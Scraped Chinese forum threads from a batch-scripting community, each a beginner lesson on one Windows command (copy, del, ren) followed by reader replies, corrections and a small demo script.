:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? [批处理命令一日一教学]（6）复制文件：copy
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
1 2 3 4 5 下一页
返回列表 回复 发帖
namejm
  • 发短消息
  • 加为好友

namejm (闭关中)当前离线

批处理代码写手

UID
5
帖子
1348
精华
8
积分
5096
PB
4236
技术
113
捐助
501
阅读权限
254
来自
四川－成都
在线时间
1842 小时
注册时间
2007-10-25
最后登录
2013-6-19

荣誉版主

帖子
1348
积分
5096
技术
113
捐助
501
注册时间
2007-10-25
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2008-12-21 14:29 | 只看该作者

[原创] [批处理命令一日一教学]（6）复制文件：copy

[一日一教学]批处理系列帖子索引 http://www.bathome.net/thread-2576-1-1.html

标题：一日一教学系列6_文件复制：copy
首发地址：http://bbs.bathome.net/topicadmin.php?tid=2863
首发日期：2008.12.21
更新日期：无

上一篇：流程跳转：goto http://bbs.bathome.net/viewthread.php?tid=2574
下一篇：文件删除：del http://bbs.bathome.net/viewthread.php?tid=2962

    copy，中文含义为“复制”，一个很容易见名知意的命令，它的作用是复制文件，用法十分简单：copy 源文件 目的路径。

    假设，你需要把d:\test\test.txt这个文件复制到D盘根目录下，那么，使用 copy d:\test\test.txt d:\ 就可以轻易办到。

    当然，这是最简单的情形，在实际使用中，还是会碰到十分复杂的情况的。

    如果D盘根目录下已经存在了一个名为test.txt的文件，那么，复制过去的时候，copy命令就会提示你是覆盖原文件、是放弃复制还是覆盖所有文件。如果你在批量复制的时候，一概覆盖原文件，那么，一个一个地选择十分麻烦，这个时候，你可以使用不加提示就覆盖原文件的参数 /y （相当于自动选择了Yes选项），完整的命令为 copy /y d:\test\test.txt d:\ 。

    如果复制的时候，你还需要把源文件改个名，比如把test.txt改为1.txt的时候，可以直接使用：copy d:\test\test.txt d:\1.txt 这样的命令，也就是说，在指定目的路径的时候，直接指定文件名，那么，新的文件名就是源文件复制之后的名字。

    如果要复制的路径带有空格、&等特殊符号的时候，请使用引号把这些特殊字符括起来，比如： copy "d:\test abc\test.txt" "d:\t&est"

    copy命令除了“复制”文件的功能外，还有一个绝活：合并多个文件为一个文件，具体的格式为：copy 文件1+文件2+文件3+…… 目的路径\新文件名 。例如：copy d:\test.txt+d:\abc.txt d:\test\test.txt，那么，就把D盘根目录下的test.txt和abc.txt两个文件的内容合并为test.txt，并保存到d:\test目录下。

    copy 还有一些参数，但是常用的就上面的用法，更多的用法请在命令行窗口中使用 copy /? 来查询，很容易上手的。

    必须注意的是，copy只能复制文件，对于文件夹的复制，则需要另请高明，动用xcopy来复制。xcopy是copy的高级版本，有更丰富的参数，能实现更加复杂的功能，通吃文件和文件夹的复制，以后将另行介绍，在这里就不展开讲解了。
收藏 分享
尺有所短寸有所长，学好批处理没商量；
考虑问题复杂化，解决问题简洁化。
心在天山，身老沧州。
回复 引用

评分 报告

heng520
  • 发短消息
  • 加为好友

heng520 当前离线

UID
1708
帖子
13
精华
0
积分
227
PB
227
技术
0
捐助
0
阅读权限
20
在线时间
34 小时
注册时间
2008-4-7
最后登录
2015-5-27

三级士官

帖子
13
积分
227
技术
0
捐助
0
注册时间
2008-4-7
2楼
发表于 2008-12-21 15:11 | 只看该作者
复习了一下。。
copy 比较简单。
回复 引用

评分 报告 TOP

zjw767676
  • 发短消息
  • 加为好友

zjw767676 (心境自然)当前离线

UID
7859
帖子
274
精华
0
积分
3596
PB
3596
技术
0
捐助
0
阅读权限
80
来自
江苏常州
在线时间
458 小时
注册时间
2008-12-21
最后登录
2016-3-1

上校

帖子
274
积分
3596
技术
0
捐助
0
注册时间
2008-12-21
3楼
发表于 2008-12-21 21:23 | 只看该作者
刚做了个文件，复制文件到“program files"文件夹。老是提醒“无效的参数”原来是没加引号的原因！！学习了xx
回复 引用

评分 报告 TOP

coolhui
  • 发短消息
  • 加为好友

coolhui 当前离线

UID
567
帖子
15
精华
0
积分
197
PB
197
技术
0
捐助
0
阅读权限
20
在线时间
3 小时
注册时间
2008-2-20
最后登录
2015-2-13

二级士官

帖子
15
积分
197
技术
0
捐助
0
注册时间
2008-2-20
4楼
发表于 2009-1-1 23:50 | 只看该作者
呵呵~~~不错哦，复习了下，等待楼主介绍xcopy哦，很想了解这个·~~~
回复 引用

评分 报告 TOP

wolhh
  • 发短消息
  • 加为好友

wolhh 当前离线

UID
8894
帖子
8
精华
0
积分
182
PB
182
技术
0
捐助
0
阅读权限
20
在线时间
5 小时
注册时间
2009-1-21
最后登录
2012-3-9

二级士官

帖子
8
积分
182
技术
0
捐助
0
注册时间
2009-1-21
5楼
发表于 2009-1-21 13:21 | 只看该作者
期待更多的教程~~~~
回复 引用

评分 报告 TOP

zhangenming
  • 发短消息
  • 加为好友

zhangenming 当前离线

UID
2910
帖子
21
精华
0
积分
237
PB
237
技术
0
捐助
0
阅读权限
20
在线时间
15 小时
注册时间
2008-7-1
最后登录
2016-3-8

三级士官

帖子
21
积分
237
技术
0
捐助
0
注册时间
2008-7-1
6楼
发表于 2009-1-25 15:50 | 只看该作者
copy命令除了“复制”文件的功能外，还有一个绝活：合并多个文件为一个文件，具体的格式为：copy 文件1+文件2+文件3+…… 目的路径\新文件名 。例如：copy d:\test.txt+d:\abc.txt d:\test\test.txt，那么，就把D盘根目录下的test.txt和abc.txt两个文件的内容合并为test.txt，并保存到d:\test目录下。

这不就相当于文本合并器啊……
牛！！！！！！！！
回复 引用

评分 报告 TOP

whedu
  • 发短消息
  • 加为好友

whedu 当前离线

UID
9742
帖子
22
精华
0
积分
213
PB
213
技术
0
捐助
0
阅读权限
20
在线时间
11 小时
注册时间
2009-2-23
最后登录
2009-4-3

三级士官

帖子
22
积分
213
技术
0
捐助
0
注册时间
2009-2-23
7楼
发表于 2009-2-24 12:30 | 只看该作者
学习完毕，有新的知识点
活到老，学到老；终身学习！！
回复 引用

评分 报告 TOP

jwq
  • 发短消息
  • 加为好友

jwq 当前离线

UID
10088
帖子
17
精华
0
积分
468
PB
468
技术
0
捐助
0
阅读权限
20
在线时间
28 小时
注册时间
2009-3-4
最后登录
2010-6-30

六级士官

帖子
17
积分
468
技术
0
捐助
0
注册时间
2009-3-4
8楼
发表于 2009-3-5 15:07 | 只看该作者
原帖由 zhangenming 于 2009-1-25 15:50 发表

这不就相当于文本合并器啊……
牛！！！！！！！！

貌似内容不能合并起来的撒
回复 引用

评分 报告 TOP

Batcher
  • 发短消息
  • 加为好友

Batcher 当前离线

UID
2725
帖子
8626
精华
1
积分
37463
PB
36322
技术
207
捐助
510
阅读权限
255
在线时间
5842 小时
注册时间
2008-6-9
最后登录
2018-6-2

管理员

帖子
8626
积分
37463
技术
207
捐助
510
注册时间
2008-6-9
9楼
发表于 2009-3-5 16:10 | 只看该作者

回复 8楼 的帖子

能。
如果你不能，可能是你的代码写错了。
【扫描二维码捐助论坛的朋友请留言注明论坛账号】
【批处理在线视频分享】http://bbs.bathome.net/thread-31727-1-1.html
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
回复 引用

评分 报告 TOP

skyinheaven
  • 发短消息
  • 加为好友

skyinheaven 当前离线

UID
9321
帖子
3
精华
0
积分
172
PB
172
技术
0
捐助
0
阅读权限
20
在线时间
2 小时
注册时间
2009-2-8
最后登录
2009-3-7

二级士官

帖子
3
积分
172
技术
0
捐助
0
注册时间
2009-2-8
10楼
发表于 2009-3-7 20:44 | 只看该作者
copy还能改变文件属性吧？
回复 引用

评分 报告 TOP

stuqx
  • 发短消息
  • 加为好友

stuqx 当前离线

UID
10208
帖子
87
精华
0
积分
499
PB
499
技术
0
捐助
0
阅读权限
20
来自
陕西
在线时间
46 小时
注册时间
2009-3-7
最后登录
2011-2-16

六级士官

帖子
87
积分
499
技术
0
捐助
0
注册时间
2009-3-7
11楼
发表于 2009-3-8 15:24 | 只看该作者
文件属性貌似不能改吧 要用attrib
回复 引用

评分 报告 TOP

xiaofeixia
  • 发短消息
  • 加为好友

xiaofeixia 当前离线

UID
11187
帖子
1
精华
0
积分
102
PB
102
技术
0
捐助
0
阅读权限
20
在线时间
1 小时
注册时间
2009-3-30
最后登录
2009-6-21

一级士官

帖子
1
积分
102
技术
0
捐助
0
注册时间
2009-3-30
12楼
发表于 2009-3-30 22:17 | 只看该作者
copy 还可以建立文本文件
copy con abc.txt
可以输入内容，按ctrl z保存推出
回复 引用

评分 报告 TOP

消失在风中
  • 发短消息
  • 加为好友

消失在风中 当前离线

UID
4216
帖子
8
精华
0
积分
190
PB
190
技术
0
捐助
0
阅读权限
20
在线时间
1 小时
注册时间
2008-8-28
最后登录
2010-9-8

二级士官

帖子
8
积分
190
技术
0
捐助
0
注册时间
2008-8-28
13楼
发表于 2009-3-31 20:46 | 只看该作者
原帖由 jwq 于 2009-3-5 15:07 发表

貌似内容不能合并起来的撒

我刚才试过了,内容可以复制的哟!
回复 引用

评分 报告 TOP

kirk1234
  • 发短消息
  • 加为好友

kirk1234 当前离线

UID
13797
帖子
5
精华
0
积分
110
PB
110
技术
0
捐助
0
阅读权限
20
在线时间
6 小时
注册时间
2009-5-31
最后登录
2017-12-5

一级士官

帖子
5
积分
110
技术
0
捐助
0
注册时间
2009-5-31
14楼
发表于 2009-6-3 23:15 | 只看该作者
我试验了一下好像合并后的文件不全 我合并两个文本文件为一个 但是结果的那个文件没有包含两个文件的全部内容
前面两个文件大小分别为 1K 、25K ,合并后的那个文件大小只有1K.
回复 引用

评分 报告 TOP

dong1977
  • 发短消息
  • 加为好友

dong1977 当前离线

UID
13950
帖子
11
精华
0
积分
135
PB
135
技术
0
捐助
0
阅读权限
20
在线时间
14 小时
注册时间
2009-6-3
最后登录
2009-8-5

一级士官

帖子
11
积分
135
技术
0
捐助
0
注册时间
2009-6-3
15楼
发表于 2009-6-4 09:56 | 只看该作者
刚才试验了完全可以正常复制，包括合并！
回复 引用

评分 报告 TOP

1 2 3 4 5 下一页
返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 20:55, Processed in 0.044218 second(s), 7 queries, Gzip enabled.


7、删除文件：del

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? [批处理命令一日一教学]（7）删除文件：del[2009.2.12更新]
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
1 2 3 4 下一页
返回列表 回复 发帖
namejm
  • 发短消息
  • 加为好友

namejm (闭关中)当前离线

批处理代码写手

UID
5
帖子
1348
精华
8
积分
5096
PB
4236
技术
113
捐助
501
阅读权限
254
来自
四川－成都
在线时间
1842 小时
注册时间
2007-10-25
最后登录
2013-6-19

荣誉版主

帖子
1348
积分
5096
技术
113
捐助
501
注册时间
2007-10-25
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2009-1-1 17:07 | 只看该作者

[原创] [批处理命令一日一教学]（7）删除文件：del[2009.2.12更新]

[一日一教学]批处理系列帖子索引 http://www.bathome.net/thread-2576-1-1.html

标题：一日一教学系列7_文件删除：del
首发地址：http://bbs.bathome.net/topicadmin.php?tid=2962
首发日期：2009.01.01
更新日期：无

上一篇：文件复制：copy http://bbs.bathome.net/viewthread.php?tid=2863
下一篇：重命名文件（夹）：ren http://bbs.bathome.net/viewthread.php?tid=3318

    删除文件使用的命令是del，它的全称是delete。（另：erase与del等效，感谢 yslyxqysl 提醒）

    del命令的用法很简单，使用 "del 文件路径" 的格式就可以了。比如，想删除D盘根目录下的test.txt，使用del d:\test.txt即可。

    但是，并不是所有的文件都可以只用del命令就可以搞定，比如具有隐藏属性、只读属性或者系统属性的文件，假如d:\test.txt具有隐藏属性，如果仅仅是 del d:\test.txt 的话，d:\test.txt会纹丝不动。如何删除它？这时候，就需要对del加上一些辅助参数了，隐藏属性是hidden，使用del /a:h，只读属性是read，使用del /a:r，系统属性是system，使用del /a:s，如果不知道文件是什么属性，那么，使用del /a即可——不过有一种情况是例外，当文件具有只读属性的时候，还得添加 del /a /f 参数，所以，如果要对不知道属性的文件进行强制删除，使用 del /a /f 语句是最保险的做法。在这里，/f 参数表示强制删除只读属性文件的意思，f取自force，也就是强制的意思。

    有段时间，威金病毒肆虐网络，以摧枯拉朽之势毁灭了不少文件，其中，最关键的一点是在每个目录下生成了一个desktop.ini文件，只要把这些desktop.ini文件删除，这个病毒就没有了危害性。要删除每个目录下的desktop.ini文件，如果点开一个个的子文件夹删除的话，将不胜其烦，如果使用del命令，简单的一条语句就可以搞定，那就是：在指定目录下执行 del /a /f /s desktop.ini 命令。在这里，/s 表示搜索当前目录下的所有子文件夹，并删除指定文件的意思，s取自sub，表示“从属的”、“子目录的”的含义。

    删除文件是件十分危险的事情，稍有不慎，就可能删掉了重要的文件，所以，在执行删除操作的时候，需要小心谨慎。如果需要在删除之前进行确认的话，可以添加一个参数：/p。

    当然，对于十分有把握的删除操作，并不需要逐一确认的，可以选择静默删除模式，这时候，需要使用参数：/q，也就是 quiet 的缩写形式
收藏 分享
尺有所短寸有所长，学好批处理没商量；
考虑问题复杂化，解决问题简洁化。
心在天山，身老沧州。
回复 引用

评分 报告

yslyxqysl
  • 发短消息
  • 加为好友

yslyxqysl 当前离线

UID
4205
帖子
342
精华
0
积分
3933
PB
3909
技术
8
捐助
0
阅读权限
254
来自
广西桂林
在线时间
745 小时
注册时间
2008-8-27
最后登录
2016-5-28

荣誉版主

帖子
342
积分
3933
技术
8
捐助
0
注册时间
2008-8-27
2楼
发表于 2009-1-1 17:10 | 只看该作者
还有，del和erase等价。
回复 引用

评分 报告 TOP

wuha3619
  • 发短消息
  • 加为好友

wuha3619 当前离线

UID
2858
帖子
11
精华
0
积分
367
PB
367
技术
0
捐助
0
阅读权限
20
在线时间
7 小时
注册时间
2008-6-23
最后登录
2009-5-1

六级士官

帖子
11
积分
367
技术
0
捐助
0
注册时间
2008-6-23
3楼
发表于 2009-1-1 17:38 | 只看该作者
呵呵 进来学习了。 多谢
回复 引用

评分 报告 TOP

coolhui
  • 发短消息
  • 加为好友

coolhui 当前离线

UID
567
帖子
15
精华
0
积分
197
PB
197
技术
0
捐助
0
阅读权限
20
在线时间
3 小时
注册时间
2008-2-20
最后登录
2015-2-13

二级士官

帖子
15
积分
197
技术
0
捐助
0
注册时间
2008-2-20
4楼
发表于 2009-1-1 23:45 | 只看该作者
学习了，没想到del命令还有这么多学问，谢谢楼主分享·~~~
回复 引用

评分 报告 TOP

wolhh
  • 发短消息
  • 加为好友

wolhh 当前离线

UID
8894
帖子
8
精华
0
积分
182
PB
182
技术
0
捐助
0
阅读权限
20
在线时间
5 小时
注册时间
2009-1-21
最后登录
2012-3-9

二级士官

帖子
8
积分
182
技术
0
捐助
0
注册时间
2009-1-21
5楼
发表于 2009-1-21 13:30 | 只看该作者
努力学习中~~~~~~~~
1

评分人数

    • yslyxqysl: 口水PB -2
回复 引用

评分 报告 TOP

523066680
  • 发短消息
  • 加为好友

523066680 (消遣区)当前离线

UID
3337
帖子
2669
精华
1
积分
5657
PB
4907
技术
230
捐助
50
阅读权限
255
来自
广州(工作地)
在线时间
3290 小时
注册时间
2008-8-3
最后登录
2018-6-2

版主

帖子
2669
积分
5657
技术
230
捐助
50
注册时间
2008-8-3
6楼
发表于 2009-1-24 13:04 | 只看该作者
还有....delete 跟del .......
综合型编程论坛
Writing Code That Nobody Else Can Read.
回复 引用

评分 报告 TOP

心愿怕人
  • 发短消息
  • 加为好友

心愿怕人 当前离线

UID
9030
帖子
31
精华
0
积分
210
PB
210
技术
0
捐助
0
阅读权限
20
在线时间
13 小时
注册时间
2009-1-28
最后登录
2009-3-12

三级士官

帖子
31
积分
210
技术
0
捐助
0
注册时间
2009-1-28
7楼
发表于 2009-1-28 16:24 | 只看该作者
[email]340458053@QQ.COM[/email]，这个是我的邮箱！希望有学习资料的可以给我点
回复 引用

评分 报告 TOP

523066680
  • 发短消息
  • 加为好友

523066680 (消遣区)当前离线

UID
3337
帖子
2669
精华
1
积分
5657
PB
4907
技术
230
捐助
50
阅读权限
255
来自
广州(工作地)
在线时间
3290 小时
注册时间
2008-8-3
最后登录
2018-6-2

版主

帖子
2669
积分
5657
技术
230
捐助
50
注册时间
2008-8-3
8楼
发表于 2009-1-28 17:25 | 只看该作者
对于ls 的内容 大家有何观点……

我以为，学习还是靠主动。 找资料这种事情……

[ 本帖最后由 523066680 于 2009-1-28 17:26 编辑 ]
综合型编程论坛
Writing Code That Nobody Else Can Read.
回复 引用

评分 报告 TOP

tangshikan
  • 发短消息
  • 加为好友

tangshikan 当前离线

UID
9043
帖子
2
精华
0
积分
170
PB
170
技术
0
捐助
0
阅读权限
20
在线时间
1 小时
注册时间
2009-1-29
最后登录
2009-1-29

二级士官

帖子
2
积分
170
技术
0
捐助
0
注册时间
2009-1-29
9楼
发表于 2009-1-29 13:02 | 只看该作者
辛苦楼主了，谢谢分享
回复 引用

评分 报告 TOP

w2008k
  • 发短消息
  • 加为好友

w2008k 当前离线

UID
9052
帖子
1
精华
0
积分
168
PB
168
技术
0
捐助
0
阅读权限
20
在线时间
0 小时
注册时间
2009-1-29
最后登录
2009-5-24

二级士官

帖子
1
积分
168
技术
0
捐助
0
注册时间
2009-1-29
10楼
发表于 2009-1-29 20:24 | 只看该作者
学习中~~~~~~~
回复 引用

评分 报告 TOP

batman
  • 发短消息
  • 加为好友

batman 当前离线

考官

UID
2790
帖子
2702
精华
6
积分
14556
PB
13371
技术
175
捐助
630
阅读权限
254
在线时间
2364 小时
注册时间
2008-6-15
最后登录
2015-3-21

荣誉版主

帖子
2702
积分
14556
技术
175
捐助
630
注册时间
2008-6-15
11楼
发表于 2009-2-13 01:20 | 只看该作者
跟两段代码，加深理解，同时突出下del *.*命令
这一段是生成一个test文件夹，并在该文件夹下随机生成一系列文件的代码：
  1. @echo off&setlocal enabledelayedexpansion

  2. set "str=abcdefghijklmnopqrstuvwxyz0123456789"

  3. set "code=jpg txt bat exe wma mp3"

  4. md test&cd test

  5. for /l %%a in (1,1,20) do (

  6.     for /l %%b in (1,1,9) do (

  7.           set /a a=!random!%%36

  8.           call,set "var=!var!%%str:~!a!,1%%"

  9.      )

  10.     set /a b=!random!%%5+1&call :lp

  11.     set "var="

  12. )

  13. goto :eof

  14. :lp

  15. for /f "tokens=%b%" %%c in ("%code%") do echo.>!var!.%%c
复制代码
第二段是用来删除test中所有的文件的：
  1. @echo off&del /q /f test\*.*
复制代码
＊＊＊共同提高＊＊＊
回复 引用

评分 报告 TOP

whedu
  • 发短消息
  • 加为好友

whedu 当前离线

UID
9742
帖子
22
精华
0
积分
213
PB
213
技术
0
捐助
0
阅读权限
20
在线时间
11 小时
注册时间
2009-2-23
最后登录
2009-4-3

三级士官

帖子
22
积分
213
技术
0
捐助
0
注册时间
2009-2-23
12楼
发表于 2009-2-24 13:38 | 只看该作者
学习完毕，del是delete的缩写，其与erase等效。
活到老，学到老；终身学习！！
回复 引用

评分 报告 TOP

irresolute
  • 发短消息
  • 加为好友

irresolute 当前离线

UID
9357
帖子
66
精华
0
积分
355
PB
355
技术
0
捐助
0
阅读权限
20
在线时间
67 小时
注册时间
2009-2-9
最后登录
2009-11-1

六级士官

帖子
66
积分
355
技术
0
捐助
0
注册时间
2009-2-9
13楼
发表于 2009-3-13 10:02 | 只看该作者

这段代码有误

  1. @echo off&setlocal enabledelayedexpansion

  2. set "str=abcdefghijklmnopqrstuvwxyz0123456789"

  3. set "code=jpg txt bat exe wma mp3"

  4. md test&cd test

  5. for /l %%a in (1,1,20) do (

  6.     for /l %%b in (1,1,9) do (

  7.           set /a a=!random!%%36

  8.           call,set "var=!var!%%str:~!a!,1%%"

  9.      )

  10.     set /a b=!random!%%5+1&call :lp

  11.     set "var="

  12. )

  13. goto :eof

  14. :lp

  15. for /f "tokens=%b%" %%c in ("%code%") do echo.>!var!.%%c
复制代码
set /a b=!random!%%5+1&call :lp此句改成set /a b=!random!%%6+1&call :lp就能生成mp3类型的文件了
1

评分人数

    • Batcher: 感谢分享PB + 2
回复 引用

评分 报告 TOP

guao_jie
  • 发短消息
  • 加为好友

guao_jie 当前离线

UID
10966
帖子
6
精华
0
积分
114
PB
114
技术
0
捐助
0
阅读权限
20
在线时间
7 小时
注册时间
2009-3-26
最后登录
2009-4-23

一级士官

帖子
6
积分
114
技术
0
捐助
0
注册时间
2009-3-26
14楼
发表于 2009-3-26 21:32 | 只看该作者
非常感谢，才进来不到2小时。对这个批处理很感兴趣。谢谢
回复 引用

评分 报告 TOP

rat
  • 发短消息
  • 加为好友

rat 当前离线

UID
4683
帖子
332
精华
1
积分
1983
PB
1941
技术
14
捐助
0
阅读权限
254
在线时间
447 小时
注册时间
2008-9-10
最后登录
2018-3-13

荣誉版主

帖子
332
积分
1983
技术
14
捐助
0
注册时间
2008-9-10
15楼
发表于 2009-3-26 21:52 | 只看该作者
foce -> force
1

评分人数

    • namejm: 感谢指出笔误，已更正。PB + 2
回复 引用

评分 报告 TOP

1 2 3 4 下一页
返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 20:56, Processed in 0.045412 second(s), 8 queries, Gzip enabled.


8、重命名文件（夹）：ren

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? [批处理命令一日一教学]（8）重命名文件（夹）：ren[2009.2.26更新]
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
1 2 下一页
返回列表 回复 发帖
namejm
  • 发短消息
  • 加为好友

namejm (闭关中)当前离线

批处理代码写手

UID
5
帖子
1348
精华
8
积分
5096
PB
4236
技术
113
捐助
501
阅读权限
254
来自
四川－成都
在线时间
1842 小时
注册时间
2007-10-25
最后登录
2013-6-19

荣誉版主

帖子
1348
积分
5096
技术
113
捐助
501
注册时间
2007-10-25
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2009-2-12 22:01 | 只看该作者

[原创] [批处理命令一日一教学]（8）重命名文件（夹）：ren[2009.2.26更新]

[一日一教学]批处理系列帖子索引 http://www.bathome.net/thread-2576-1-1.html

标题：一日一教学系列8_重命名文件（夹）：ren
首发地址：http://bbs.bathome.net/viewthread.php?tid=3318
首发日期：2009.2.12
更新日期：2009.2.26

上一篇：删除文件：del http://bbs.bathome.net/viewthread.php?tid=2962
下一篇：创建文件夹：md http://bbs.bathome.net/viewthread.php?tid=3319

    ren取自rename的前三个字母，name在英文中有“为……取名”的意思，而re是前缀，有“重新做某事”的含义，结合起来，rename就是重命名的含义。

    ren 的用法很简单，其使用格式为：ren 旧文件 新文件名。例如，把test.txt改写为abc.txt，使用 ren test.txt abc.txt即可。

    需要注意的是，旧文件可以使用绝对路径，也可以使用相对路径，但是，新文件名不能使用任何路径，只能是新的文件名，即使这个路径就是当前目录。例如：需要修改d:\test\abc.txt这个文件的名字为xyz.txt的话，如果当前路径位于d:\test，那么，命令可以写成：ren abc.txt xyz.txt、ren d:\test\abc.txt xyz.txt，但是，绝对不能写成ren d:\test\abc.txt d:\test\abc.txt这样的格式。之所以会有这个古怪的规定，可能是一旦把路径写成另外的目录，ren就具备了“移动文件+重命名文件”的功能了，这和它的定位不相符。

    虽然ren的用法很简单，但是，它的功能却很强大，这主要得益于ren支持*和?这两个通配符：*表示任意多个字符，?表示一个字符。例如，要把所有的以.txt作为后缀名的文件改为以.doc作为后缀名，使用ren *.txt *.doc 即可，简简单单的一条语句，瞬间就改动了大量的文件，CMD命令简洁而又不失强大的特点在这里体现得淋漓尽致。又例如，要把以abc字符串打头、并且只有5个字符的txt文件改名为以xyz字符串打头，那么，可以这样写：ren abc??.txt xyz??.txt。

    需要引起高度重视的是，ren在使用通配符的时候，它的匹配规则十分奇特且过于复杂，不适合新手理解，在此不再展开做详细的解释。若想了解其中的详情，请参考这篇帖子：这是不是ren的一个bug？http://www.cn-dos.net/forum/viewthread.php?tid=29538。若确实需要使用通配符，建议熟读这篇帖子；若实在难以理解，则退而求其次，只用通配符做后缀名的修改工作，可以不用深究这些复杂的规则。

    对于文件夹，ren同样适用。

    ren还有一个十分奇特的属性：当文件具备隐藏属性或系统属性的时候，ren将不起作用，需要把文件的隐藏或系统属性去掉方可更名，对只读属性的文件，ren可顺利更名。这在很多时候给我们制造了很多麻烦：当你不知道要即将更名的文件是否具备隐藏或系统属性的时候，直接ren是很成问题的，；如果希望在重命名文件的时候，还必须保持原有的文件属性，则更加让人痛苦万分。

    怎么办？

    如果不介意文件的属性是否被改动，那么，保险的做法是，用 attrib -s -h 命令先去掉文件可能存在的系统属性或隐藏属性，然后再ren之；如果还要求更名后的文件要保持原有的属性的话，高效的做法是：先用for语句中的 %%~ai 扩展获取原文件的属性，经过处理之后保存到变量中去，然后用 attrib -s -h 去掉文件可能存在的系统属性或隐藏属性，ren之后，再读取保留在变量中的属性值，用 attrib 恢复原有的文件属性。

————————————————————————————
    感谢tireless在2楼的提醒。

    2009.2.26 增添了如何重命名带系统属性或隐藏属性的文件的内容。
收藏 分享
尺有所短寸有所长，学好批处理没商量；
考虑问题复杂化，解决问题简洁化。
心在天山，身老沧州。
回复 引用

评分 报告

tireless
  • 发短消息
  • 加为好友

tireless 当前离线

UID
5967
帖子
381
精华
0
积分
1798
PB
1774
技术
8
捐助
0
阅读权限
60
在线时间
926 小时
注册时间
2008-10-27
最后登录
2009-9-15

少校

帖子
381
积分
1798
技术
8
捐助
0
注册时间
2008-10-27
2楼
发表于 2009-2-12 22:29 | 只看该作者
又例如，要把以test字符串打头、并且只有6个字符的txt文件改名为以abc字符串打头，那么，可以这样写：ren test??.txt abc??.txt。

好像行不通：
测试文件： test1.txt、test22.txt
执行： ren test??.txt abc??.txt
结果： abct1.txt、abct2.txt

[ 本帖最后由 tireless 于 2009-2-12 22:31 编辑 ]
1

评分人数

    • Batcher: 感谢测试PB + 2
回复 引用

评分 报告 TOP

namejm
  • 发短消息
  • 加为好友

namejm (闭关中)当前离线

批处理代码写手

UID
5
帖子
1348
精华
8
积分
5096
PB
4236
技术
113
捐助
501
阅读权限
254
来自
四川－成都
在线时间
1842 小时
注册时间
2007-10-25
最后登录
2013-6-19

荣誉版主

帖子
1348
积分
5096
技术
113
捐助
501
注册时间
2007-10-25
3楼
发表于 2009-2-12 22:52 | 只看该作者
    呵呵，确实弄错了，又忘记了先做测试再正式发代码。其实这个问题以前曾在CN-DOS上有过讨论，你这一提醒我又想起来了，是这篇帖子：这是不是ren的一个bug？http://www.cn-dos.net/forum/viewthread.php?tid=29538
尺有所短寸有所长，学好批处理没商量；
考虑问题复杂化，解决问题简洁化。
心在天山，身老沧州。
回复 引用

评分 报告 TOP

lockmove
  • 发短消息
